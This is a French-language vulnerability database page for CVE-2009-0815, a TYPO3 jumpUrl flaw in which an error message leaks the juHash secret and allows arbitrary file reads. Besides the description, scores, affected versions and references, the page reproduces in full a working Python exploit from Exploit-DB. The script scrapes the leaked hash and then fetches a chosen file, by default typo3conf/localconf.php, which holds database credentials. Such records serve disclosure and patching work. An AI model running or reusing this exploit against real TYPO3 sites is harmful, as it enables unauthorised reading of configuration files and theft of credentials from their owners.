CVE-2009-0815 : Détail

CVE-2009-0815

A01-Broken Access Control
15.15%V3
Network
2009-03-05
01h00 +00:00
2010-04-27
07h00 +00:00
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Descriptions du CVE

The jumpUrl mechanism in class.tslib_fe.php in TYPO3 3.3.x through 3.8.x, 4.0 before 4.0.12, 4.1 before 4.1.10, 4.2 before 4.2.6, and 4.3alpha1 leaks a hash secret (juHash) in an error message, which allows remote attackers to read arbitrary files by including the hash in a request.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 8038

Date de publication : 2009-02-09 23h00 +00:00
Auteur : Lolek
EDB Vérifié : Yes

#!/usr/bin/env python # # ------------------------------------------------------------------------------ # TYPO3-SA-2009-002 exploit by Lolek of TK53 <lolek1337 _at_ gmail.com> # date: 2009/02/10 # vendor url: http://typo3.org # vulnerable versions: TYPO3 < 4.2.6, TYPO3 < 4.1.10, TYPO3 < 4.0.12 # usage: # typo3-sa-2009-002.py <host> <file> (defaults to typo3conf/localconf.php) # # if people fixed their installations but did not update the typo3 security key # you should be able to precompute the hashes if you previously got the security key. # # greetings to milw0rm, roflek import urllib,re,sys strip = re.compile(r'.*Calculated juHash, ([a-z0-9]+), did not.*') def useme(): print sys.argv[0], '<host> (with http://) <file> (defaults to typo3conf/localconf.php)' sys.exit(0) def parsehash(host, f): file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:'}) url = host + '/index.php?' + file try: s = urllib.urlopen(url) r = s.read() except Exception, e: print '[!] - ', str(e) return None tmp = strip.match(r) if tmp: return tmp.group(1) else: return None def content(host, hash, f): file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:', 'juHash' : hash}) url = host + '/index.php?' + file try: s = urllib.urlopen(url) print '[+] - content of:', f print s.read() except: print '[!] - FAIL' def main(): if len(sys.argv) < 2: useme() if len(sys.argv) < 3: file = 'typo3conf/localconf.php' else: file = sys.argv[2] print '[+] - TYPO3-SA-2009-002 exploit by Lolek of TK53' print '[+] - checking typo3 installation on...' hash = parsehash(sys.argv[1], file) if not hash: print '[!] - version already fixed or 42 went wrong while trying to get the hash' sys.exit(234) content(sys.argv[1], hash, file) if __name__ == '__main__': main() # milw0rm.com [2009-02-10]

Products Mentioned

Configuraton 0

Typo3>>Typo3 >> Version 3.3.x

    Typo3>>Typo3 >> Version 3.5.x

      Typo3>>Typo3 >> Version 3.6.x

        Typo3>>Typo3 >> Version 3.7.x

          Typo3>>Typo3 >> Version 3.8.x

            Typo3>>Typo3 >> Version 4.0

            Typo3>>Typo3 >> Version 4.1

            Typo3>>Typo3 >> Version 4.1.0

            Typo3>>Typo3 >> Version 4.1.2

            Typo3>>Typo3 >> Version 4.1.3

            Typo3>>Typo3 >> Version 4.1.4

            Typo3>>Typo3 >> Version 4.1.5

            Typo3>>Typo3 >> Version 4.1.6

            Typo3>>Typo3 >> Version 4.1.7

            Typo3>>Typo3 >> Version 4.1.8

            Typo3>>Typo3 >> Version 4.1.9

            Typo3>>Typo3 >> Version 4.2

            Typo3>>Typo3 >> Version 4.2.0

            Typo3>>Typo3 >> Version 4.2.1

            Typo3>>Typo3 >> Version 4.2.2

            Typo3>>Typo3 >> Version 4.2.3

            Typo3>>Typo3 >> Version 4.2.4

            Typo3>>Typo3 >> Version 4.2.5

            Typo3>>Typo3 >> Version 4.3

              Références

              http://www.openwall.com/lists/oss-security/2009/02/10/6
              Tags : mailing-list, x_refsource_MLIST
              http://www.debian.org/security/2009/dsa-1720
              Tags : vendor-advisory, x_refsource_DEBIAN
              http://www.securitytracker.com/id?1021710
              Tags : vdb-entry, x_refsource_SECTRACK